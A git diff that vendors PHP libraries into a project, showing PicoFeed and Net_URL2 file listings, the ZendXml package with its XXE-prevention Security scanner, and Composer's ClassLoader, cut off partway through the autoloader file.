-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/Rss92.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Parser/XmlParser.php232
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/PicoFeedException.php15
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Reader/Reader.php232
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Reader/ReaderException.php16
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Reader/SubscriptionNotFoundException.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Reader/UnsupportedFeedFormatException.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.blog.lemonde.fr.php10
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.blogs.nytimes.com.php11
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.igen.fr.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.nytimes.com.php8
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.phoronix.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.slate.com.php16
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.theguardian.com.php10
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wikipedia.org.php25
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wired.com.php19
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/.wsj.com.php11
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/blog.fefe.de.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/consomac.fr.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/distrowatch.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/dozodomo.com.php11
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcodesign.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcoexist.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/fastcompany.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/ffworld.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/github.com.php10
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/golem.de.php8
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/heise.de.php7
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/huffingtonpost.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/ing.dk.php8
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/journaldugeek.com.php10
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/kanpai.fr.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/karriere.jobfinder.dk.php8
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/lejapon.fr.php14
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/lesjoiesducode.fr.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/lifehacker.com.php14
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/lists.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/macg.co.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/medium.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/monwindowsphone.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/pastebin.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/plus.google.com.php7
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/rue89.feedsportal.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/smallhousebliss.com.php17
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/spiegel.de.php7
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/techcrunch.com.php13
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/treehugger.com.php10
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/version2.dk.php8
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.bbc.co.uk.php22
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.bdgest.com.php11
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.businessweek.com.php11
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.cnn.com.php22
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.egscomics.com.php8
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.forbes.com.php16
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.futura-sciences.com.php15
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.lemonde.fr.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.lepoint.fr.php16
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.mac4ever.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.nextinpact.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.npr.org.php15
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.numerama.com.php10
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.pcinpact.com.php9
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.pseudo-sciences.org.php12
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.slate.fr.php17
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Rules/www.universfreebox.com.php11
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Serialization/Export.php132
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Serialization/Import.php172
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Atom.php220
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Rss20.php207
-rw-r--r--vendor/fguillot/picofeed/lib/PicoFeed/Syndication/Writer.php97
-rw-r--r--vendor/fguillot/picofeed/phpunit.xml7
-rwxr-xr-xvendor/fguillot/picofeed/picofeed109
-rw-r--r--vendor/fguillot/picofeed/tests/Client/ClientTest.php83
-rw-r--r--vendor/fguillot/picofeed/tests/Client/CurlTest.php53
-rw-r--r--vendor/fguillot/picofeed/tests/Client/FaviconTest.php143
-rw-r--r--vendor/fguillot/picofeed/tests/Client/GrabberTest.php60
-rw-r--r--vendor/fguillot/picofeed/tests/Client/StreamTest.php63
-rw-r--r--vendor/fguillot/picofeed/tests/Client/UrlTest.php220
-rw-r--r--vendor/fguillot/picofeed/tests/Filter/AttributeFilterTest.php140
-rw-r--r--vendor/fguillot/picofeed/tests/Filter/FilterTest.php88
-rw-r--r--vendor/fguillot/picofeed/tests/Filter/HtmlFilterTest.php168
-rw-r--r--vendor/fguillot/picofeed/tests/Filter/TagFilterTest.php33
-rw-r--r--vendor/fguillot/picofeed/tests/Parser/AtomParserTest.php178
-rw-r--r--vendor/fguillot/picofeed/tests/Parser/ParserTest.php75
-rw-r--r--vendor/fguillot/picofeed/tests/Parser/Rss10ParserTest.php112
-rw-r--r--vendor/fguillot/picofeed/tests/Parser/Rss20ParserTest.php252
-rw-r--r--vendor/fguillot/picofeed/tests/Parser/Rss91ParserTest.php30
-rw-r--r--vendor/fguillot/picofeed/tests/Parser/Rss92ParserTest.php28
-rw-r--r--vendor/fguillot/picofeed/tests/Parser/XmlParserTest.php105
-rw-r--r--vendor/fguillot/picofeed/tests/Reader/ReaderTest.php157
-rw-r--r--vendor/fguillot/picofeed/tests/Serialization/ExportTest.php70
-rw-r--r--vendor/fguillot/picofeed/tests/Serialization/ImportTest.php61
-rw-r--r--vendor/fguillot/picofeed/tests/Syndication/AtomWriterTest.php90
-rw-r--r--vendor/fguillot/picofeed/tests/Syndication/Rss20WriterTest.php85
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/atom.xml477
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/atomsample.xml20
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/bbc_urdu.xml2087
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/biertaucher.xml7198
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/cercle.psy.xml58
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/debug_show.xml1073
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/ezrss.it496
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/fanboys.fm_episodes.all.mp3.rss10426
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/fulltextrss.xml88
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/geekstammtisch.de_episodes.mp3.rss9428
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/google-reader.opml78
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/groovehq.xml1767
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/grotte_barbu.xml396
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/html4_head_stripped_page.html435
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/html4_page.html486
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/html_head_stripped_page.html804
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/html_page.html967
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/ibash.ru.xml359
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/jeux-linux.fr.xml924
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/la-grange.xml1139
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/lagrange.xml1986
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/lincoln_loop.xml1150
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/newsbeuter.opml43
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/next_inpact_full.xml2435
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/pcinpact.xml1
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/planete-jquery.xml443
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/radio-france.xml946
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/resorts.xml169
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/rss20.xml300
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/rss2sample.xml41
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/rss_0.91.xml50
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/rss_0.92.xml103
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/rue89.xml2
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/sametmax.xml1067
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/subscriptionList.opml1
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/tinytinyrss.opml13
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/univers_freebox.xml30
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/womensweardaily.xml63
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/xakep.ru.xml245
-rw-r--r--vendor/fguillot/picofeed/tests/fixtures/zoot_egkty.xml177
-rw-r--r--vendor/pear/net_url2/.gitignore7
-rw-r--r--vendor/pear/net_url2/.scrutinizer.yml38
-rw-r--r--vendor/pear/net_url2/.travis.yml10
-rwxr-xr-xvendor/pear/net_url2/Net/URL2.php1218
-rw-r--r--vendor/pear/net_url2/README.md43
-rw-r--r--vendor/pear/net_url2/composer.json52
-rwxr-xr-xvendor/pear/net_url2/docs/6470.php56
-rw-r--r--vendor/pear/net_url2/docs/BSD-3-CLAUSE-Heyes27
-rwxr-xr-xvendor/pear/net_url2/docs/example.php62
-rw-r--r--vendor/pear/net_url2/package.xml437
-rw-r--r--vendor/pear/net_url2/phpunit.xml.dist17
-rw-r--r--vendor/pear/net_url2/tests/AllTests.php59
-rw-r--r--vendor/pear/net_url2/tests/Net/URL2Test.php1085
1032 files changed, 134670 insertions, 0 deletions
diff --git a/vendor/.gitignore b/vendor/.gitignore
new file mode 100644
index 000000000..7dac201e3
--- /dev/null
+++ b/vendor/.gitignore
@@ -0,0 +1,10 @@
+nbproject
+._*
+.~lock.*
+.buildpath
+.DS_Store
+.idea
+.project
+.settings
+composer.lock
+vendor/bin
diff --git a/vendor/ZendXml/composer.json b/vendor/ZendXml/composer.json
new file mode 100644
index 000000000..3b4ca91de
--- /dev/null
+++ b/vendor/ZendXml/composer.json
@@ -0,0 +1,35 @@
+{
+ "name": "zendframework/zendxml",
+ "description": "Utility library for XML usage, best practices, and security in PHP",
+ "type": "library",
+ "license": "BSD-3-Clause",
+ "keywords": [
+ "zf2",
+ "xml",
+ "security"
+ ],
+ "homepage": "http://packages.zendframework.com/",
+ "autoload": {
+ "psr-0": {
+ "ZendXml": "library/"
+ }
+ },
+ "repositories": [
+ {
+ "type": "composer",
+ "url": "http://packages.zendframework.com/"
+ }
+ ],
+ "require": {
+ "php": ">=5.3.3"
+ },
+ "extra": {
+ "branch-alias": {
+ "dev-master": "1.0-dev"
+ }
+ },
+ "require-dev": {
+ "fabpot/php-cs-fixer": "*@dev",
+ "phpunit/phpunit": "~3.7"
+ }
+}
diff --git a/vendor/ZendXml/library/ZendXml/Exception/ExceptionInterface.php b/vendor/ZendXml/library/ZendXml/Exception/ExceptionInterface.php
new file mode 100644
index 000000000..c55eb9034
--- /dev/null
+++ b/vendor/ZendXml/library/ZendXml/Exception/ExceptionInterface.php
@@ -0,0 +1,14 @@
+<?php
+/**
+ * Zend Framework (http://framework.zend.com/)
+ *
+ * @link http://github.com/zendframework/zf2 for the canonical source repository
+ * @copyright Copyright (c) 2005-2014 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license http://framework.zend.com/license/new-bsd New BSD License
+ */
+
+namespace ZendXml\Exception;
+
+interface ExceptionInterface
+{
+}
diff --git a/vendor/ZendXml/library/ZendXml/Exception/InvalidArgumentException.php b/vendor/ZendXml/library/ZendXml/Exception/InvalidArgumentException.php
new file mode 100644
index 000000000..819fb9f6e
--- /dev/null
+++ b/vendor/ZendXml/library/ZendXml/Exception/InvalidArgumentException.php
@@ -0,0 +1,19 @@
+<?php
+/**
+ * Zend Framework (http://framework.zend.com/)
+ *
+ * @link http://github.com/zendframework/zf2 for the canonical source repository
+ * @copyright Copyright (c) 2005-2014 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license http://framework.zend.com/license/new-bsd New BSD License
+ */
+
+namespace ZendXml\Exception;
+
+/**
+ * Invalid argument exception
+ */
+class InvalidArgumentException
+ extends \InvalidArgumentException
+ implements ExceptionInterface
+{
+}
diff --git a/vendor/ZendXml/library/ZendXml/Exception/RuntimeException.php b/vendor/ZendXml/library/ZendXml/Exception/RuntimeException.php
new file mode 100644
index 000000000..1d5f50625
--- /dev/null
+++ b/vendor/ZendXml/library/ZendXml/Exception/RuntimeException.php
@@ -0,0 +1,19 @@
+<?php
+/**
+ * Zend Framework (http://framework.zend.com/)
+ *
+ * @link http://github.com/zendframework/zf2 for the canonical source repository
+ * @copyright Copyright (c) 2005-2014 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license http://framework.zend.com/license/new-bsd New BSD License
+ */
+
+namespace ZendXml\Exception;
+
+/**
+ * Runtime exception
+ */
+class RuntimeException
+ extends \RuntimeException
+ implements ExceptionInterface
+{
+}
diff --git a/vendor/ZendXml/library/ZendXml/Security.php b/vendor/ZendXml/library/ZendXml/Security.php
new file mode 100644
index 000000000..d258311f4
--- /dev/null
+++ b/vendor/ZendXml/library/ZendXml/Security.php
@@ -0,0 +1,143 @@
+<?php
+/**
+ * Zend Framework (http://framework.zend.com/)
+ *
+ * @link http://github.com/zendframework/zf2 for the canonical source repository
+ * @copyright Copyright (c) 2005-2014 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license http://framework.zend.com/license/new-bsd New BSD License
+ */
+namespace ZendXml;
+
+use DOMDocument;
+use SimpleXMLElement;
+
+class Security
+{
+ const ENTITY_DETECT = 'Detected use of ENTITY in XML, disabled to prevent XXE/XEE attacks';
+
+ /**
+ * Heuristic scan to detect entity in XML
+ *
+ * @param string $xml
+ * @throws Exception\RuntimeException
+ */
+ protected static function heuristicScan($xml)
+ {
+ if (strpos($xml, '<!ENTITY') !== false) {
+ throw new Exception\RuntimeException(self::ENTITY_DETECT);
+ }
+ }
+
+ /**
+ * Scan XML string for potential XXE and XEE attacks
+ *
+ * @param string $xml
+ * @param DomDocument $dom
+ * @param Callable(
+ * @param $xml
+ * @param $dom
+ * @return DomDocument|boolean
+ * ) $loadCallback if given allows to customize the load command e.g.:
+ * function ($xml, $dom) { return $dom->loadHTML($xml, LIBXML_NONET); }
+ * @throws Exception\RuntimeException
+ * @return SimpleXMLElement|DomDocument|boolean
+ */
+ public static function scan($xml, DOMDocument $dom = null,
+ $loadCallback = null)
+ {
+ // If running with PHP-FPM we perform an heuristic scan
+ // We cannot use libxml_disable_entity_loader because of this bug
+ // @see https://bugs.php.net/bug.php?id=64938
+ if (self::isPhpFpm()) {
+ self::heuristicScan($xml);
+ }
+
+ if (null === $dom) {
+ $simpleXml = true;
+ $dom = new DOMDocument();
+ }
+
+ if (!self::isPhpFpm()) {
+ $loadEntities = libxml_disable_entity_loader(true);
+ $useInternalXmlErrors = libxml_use_internal_errors(true);
+ }
+
+ // Load XML with network access disabled (LIBXML_NONET)
+ // error disabled with @ for PHP-FPM scenario
+ set_error_handler(function ($errno, $errstr) {
+ if (substr_count($errstr, 'DOMDocument::loadXML()') > 0) {
+ return true;
+ }
+ return false;
+ }, E_WARNING);
+
+ if ($loadCallback) {
+ $result = $loadCallback($xml, $dom);
+ } else {
+ $result = $dom->loadXml($xml, LIBXML_NONET);
+ }
+
+ restore_error_handler();
+
+ // Entity load to previous setting
+ if (!self::isPhpFpm()) {
+ libxml_disable_entity_loader($loadEntities);
+ libxml_use_internal_errors($useInternalXmlErrors);
+ }
+
+ if (!$result) {
+ return false;
+ }
+
+ // Scan for potential XEE attacks using ENTITY, if not PHP-FPM
+ if (!self::isPhpFpm()) {
+ foreach ($dom->childNodes as $child) {
+ if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
+ if ($child->entities->length > 0) {
+ throw new Exception\RuntimeException(self::ENTITY_DETECT);
+ }
+ }
+ }
+ }
+
+ if (isset($simpleXml)) {
+ $result = simplexml_import_dom($dom);
+ if (!$result instanceof SimpleXMLElement) {
+ return false;
+ }
+ return $result;
+ }
+ return $dom;
+ }
+
+ /**
+ * Scan XML file for potential XXE/XEE attacks
+ *
+ * @param string $file
+ * @param DOMDocument $dom
+ * @throws Exception\InvalidArgumentException
+ * @return SimpleXMLElement|DomDocument
+ */
+ public static function scanFile($file, DOMDocument $dom = null)
+ {
+ if (!file_exists($file)) {
+ throw new Exception\InvalidArgumentException(
+ "The file $file specified doesn't exist"
+ );
+ }
+ return self::scan(file_get_contents($file), $dom);
+ }
+
+ /**
+ * Return true if PHP is running with PHP-FPM
+ *
+ * @return boolean
+ */
+ public static function isPhpFpm()
+ {
+ if (substr(php_sapi_name(), 0, 3) === 'fpm') {
+ return true;
+ }
+ return false;
+ }
+}
diff --git a/vendor/ZendXml/vendor/autoload.php b/vendor/ZendXml/vendor/autoload.php
new file mode 100644
index 000000000..cc69a96d3
--- /dev/null
+++ b/vendor/ZendXml/vendor/autoload.php
@@ -0,0 +1,7 @@
+<?php
+
+// autoload.php @generated by Composer
+
+require_once __DIR__ . '/composer' . '/autoload_real.php';
+
+return ComposerAutoloaderInit44f71f876fa818738e1bb91ba3f97956::getLoader();
diff --git a/vendor/ZendXml/vendor/composer/ClassLoader.php b/vendor/ZendXml/vendor/composer/ClassLoader.php
new file mode 100644
index 000000000..443364959
--- /dev/null
+++ b/vendor/ZendXml/vendor/composer/ClassLoader.php
@@ -0,0 +1,383 @@
+<?php
+
+/*
+ * This file is part of Composer.
+ *
+ * (c) Nils Adermann <naderman@naderman.de>
+ * Jordi Boggiano <j.boggiano@seld.be>
+ *
+ * For the full copyright and license information, please view the LICENSE
+ * file that was distributed with this source code.
+ */
+
+namespace Composer\Autoload;
+
+/**
+ * ClassLoader implements a PSR-0 class loader
+ *
+ * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md
+ *
+ * $loader = new \Composer\Autoload\ClassLoader();
+ *
+ * // register classes with namespaces
+ * $loader->add('Symfony\Component', __DIR__.'/component');
+ * $loader->add('Symfony', __DIR__.'/framework');
+ *
+ * // activate the autoloader
+ * $loader->register();
+ *
+ * // to enable searching the include path (eg. for PEAR packages)
+ * $loader->setUseIncludePath(true);
+ *
+ * In this example, if you try to use a class in the Symfony\Component
+ * namespace or one of its children (Symfony\Component\Console for instance),
+ * the autoloader will first look for the class under the component/
+ * directory, and it will then fallback to the framework/ directory if not
+ * found before giving up.
+ *
+ * This class is loosely based on the Symfony UniversalClassLoader.
+ *
+ * @author Fabien Potencier <fabien@symfony.com>
+ * @author Jordi Boggiano <j.boggiano@seld.be>
+ */
+class ClassLoader
+{
+ // PSR-4
+ private $prefixLengthsPsr4 = array();
+ private $prefixDirsPsr4 = array();
+ private $fallbackDirsPsr4 = array();
+
+ // PSR-0
+ private $prefixesPsr0 = array();
+ private $fallbackDirsPsr0 = array();
+
+ private $useIncludePath = false;
+ private $classMap = array();
+
+ public function getPrefixes()
+ {
+ return call_user_func_array('array_merge', $this->prefixesPsr0);
+ }
+
+ public function getPrefixesPsr4()
+ {
+ return $this->prefixDirsPsr4;
+ }
+
+ public function getFallbackDirs()
+ {
+ return $this->fallbackDirsPsr0;
+ }
+
+ public function getFallbackDirsPsr4()
+ {
+ return $this->fallbackDirsPsr4;
+ }
+
+ public function getClassMap()
+ {
+ return $this->classMap;
+ }
+
+ /**
+ * @param array $classMap Class to filename map
+ */
+ public function addClassMap(array $classMap)
+ {
+ if ($this->classMap) {
+ $this->classMap = array_merge($this->classMap, $classMap);
+ } else {
+ $this->classMap = $classMap;
+ }
+ }
+
+ /**
+ * Registers a set of PSR-0 directories for a given prefix, either
+ * appending or prepending to the ones previously set for this prefix.
+ *
+ * @param string $prefix The prefix
+ * @param array|string $paths The PSR-0 root directories
+ * @param bool $prepend Whether to prepend the directories
+ */
+ public function add($prefix, $paths, $prepend = false)
+ {
+ if (!$prefix) {
+ if ($prepend) {
+ $this->fallbackDirsPsr0 = array_merge(
+ (array) $paths,
+ $this->fallbackDirsPsr0
+ );
+ } else {
+ $this->fallbackDirsPsr0 = array_merge(
+ $this->fallbackDirsPsr0,
+ (array) $paths
+ );
+ }
+
+ return;
+ }
+
+ $first = $prefix[0];
+ if (!isset($this->prefixesPsr0[$first][$prefix])) {
+ $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+
+ return;
+ }
+ if ($prepend) {
+ $this->prefixesPsr0[$first][$prefix] = array_merge(
+ (array) $paths,
+ $this->prefixesPsr0[$first][$prefix]
+ );
+ } else {
+ $this->prefixesPsr0[$first][$prefix] = array_merge(
+ $this->prefixesPsr0[$first][$prefix],
+ (array) $paths
+ );
+ }
+ }
+
+ /**
+ * Registers a set of PSR-4 directories for a given namespace, either
+ * appending or prepending to the ones previously set for this namespace.
+ *
+ * @param string $prefix The prefix/namespace, with trailing '\\'
+ * @param array|string $paths The PSR-0 base directories
+ * @param bool $prepend Whether to prepend the directories
+ *
+ * @throws \InvalidArgumentException
+ */
+ public function addPsr4($prefix, $paths, $prepend = false)
+ {
+ if (!$prefix) {
+ // Register directories for the root namespace.
+ if ($prepend) {
+ $this->fallbackDirsPsr4 = array_merge(
+ (array) $paths,
+ $this->fallbackDirsPsr4
+ );
+ } else {
+ $this->fallbackDirsPsr4 = array_merge(
+ $this->fallbackDirsPsr4,
+ (array) $paths
+ );
+ }
+ } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
+ // Register directories for a new namespace.
+ $length = strlen($prefix);
+ if ('\\' !== $prefix[$length - 1]) {
+ throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
+ }
+ $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
+ $this->prefixDirsPsr4[$prefix] = (array) $paths;
+ } elseif ($prepend) {
+ // Prepend directories for an already registered namespace.
+ $this->prefixDirsPsr4[$prefix] = array_merge(
+ (array) $paths,
+ $this->prefixDirsPsr4[$prefix]
+ );
+ } else {
+ // Append directories for an already registered namespace.
+ $this->prefixDirsPsr4[$prefix] = array_merge(
+ $this->prefixDirsPsr4[$prefix],
+ (array) $paths
+ );
+ }
+ }
+
+ /**
+ * Registers a set of PSR-0 directories for a given prefix,
+ * replacing any others previously set for this prefix.
+ *
+ * @param string $prefix The prefix
+ * @param array|string $paths The PSR-0 base directories
+ */
+ public function set($prefix, $paths)
+ {
+ if (!$prefix) {
+ $this->fallbackDirsPsr0 = (array) $paths;
+ } else {
+ $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
+ }
+ }
+
+ /**
+ * Registers a set of PSR-4 directories for a given namespace,
+ * replacing any others previously set for this namespace.
+ *
+ * @param string $prefix The prefix/namespace, with trailing '\\'
+ * @param array|string $paths The PSR-4 base directories
+ *
+ * @throws \InvalidArgumentException
+ */
+ public function setPsr4($prefix, $paths)
+ {
+ if (!$prefix) {
+ $this->fallbackDirsPsr4 = (array) $paths;
+ } else {
+ $length = strlen($prefix);
+ if ('\\' !== $prefix[$length - 1]) {
+ throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
+ }
+ $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
+ $this->prefixDirsPsr4[$prefix] = (array) $paths;
+ }
+ }
+
+ /**
+ * Turns on searching the include path for class files.
+ *
+ * @param bool $useIncludePath
+ */
+ public function setUseIncludePath($useIncludePath)
+ {
+ $this->useIncludePath = $useIncludePath;
+ }
+
+ /**
+ * Can be used to check if the autoloader uses the include path to check
+ * for classes.
+ *
+ * @return bool
+ */
+ public function getUseIncludePath()
+ {
+ return $this->useIncludePath;
+ }
+
+ /**
+ * Registers this instance as an autoloader.
+ *
+ * @param bool $prepend Whether to prepend the autoloader or not
+ */
+ public function register($prepend = false)
+ {
+ spl_autoload_register(array($this, 'loadClass'), true, $prepend);
+ }
+
+ /**
+ * Unregisters this instance as an autoloader.
+ */
+ public function unregister()
+ {
+ spl_autoload_unregister(array($this, 'loadClass'));
+ }
+
+ /**
+ * Loads the given class or interface.
+ *
+ * @param string $class The name of the class
+ * @return bool|null True if loaded, null otherwise
+ */
+ public function loadClass($class)
+ {
+ if ($file = $this->findFile($class)) {
+ includeFile($file);
+
+ return true;
+ }
+ }
+
+ /**
+ * Finds the path to the file where the class is defined.
+ *
+ * @param string $class The name of the class
+ *
+ * @return string|false The path if found, false otherwise
+ */
+ public function findFile($class)
+ {
+ // work around for PHP 5.3.0 - 5.3.2 https://bugs.php.net/50731
+ if ('\\' == $class[0]) {
+ $class = substr($class, 1);
+ }
+
+ // class map lookup
+ if (isset($this->classMap[$class])) {
+ return $this->classMap[$class];
+ }
+
+ $file = $this->findFileWithExtension($class, '.php');
+
+ // Search for Hack files if we are running on HHVM
+ if ($file === null && defined('HHVM_VERSION')) {
+ $file = $this->findFileWithExtension($class, '.hh');
+ }
+
+ if ($file === null) {
+ // Remember that this class does not exist.
+ return $this->classMap[$class] = false;
+ }
+
+ return $file;
+ }
+
+ private function findFileWithExtension($class, $ext)
+ {
+ // PSR-4 lookup
+ $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;
+
+ $first = $class[0];
+ if (isset($this->prefixLengthsPsr4[$first])) {
+ foreach ($this->prefixLengthsPsr4[$first] as $prefix => $length) {
+ if (0 === strpos($class, $prefix)) {
+ foreach ($this->prefixDirsPsr4[$prefix] as $dir) {
+ if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $length))) {
+ return $file;
+ }
+ }
+ }
+ }
+ }
+
+ // PSR-4 fallback dirs
+ foreach ($this->fallbackDirsPsr4 as $dir) {
+ if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
+ return $file;
+ }
+ }
+
+ // PSR-0 lookup
+ if (false !== $pos = strrpos($class, '\\')) {
+ // namespaced class name
+ $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
+ . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
+ } else {
+ // PEAR-like class name
+ $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
+ }
+
+ if (isset($this->prefixesPsr0[$first])) {
+ foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
+ if (0 === strpos($class, $prefix)) {
+ foreach ($dirs as $dir) {
+ if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
+ return $file;
+ }
+ }
+ }
+ }
+ }
+
+ // PSR-0 fallback dirs
+ foreach ($this->fallbackDirsPsr0 as $dir) {
+ if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
+ return $file;
+ }
+ }
+
+ // PSR-0 include paths.
+ if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
+ return $file;
+ }
+ }
+}
+
+/**
+ * Scope isolated include.
+ *
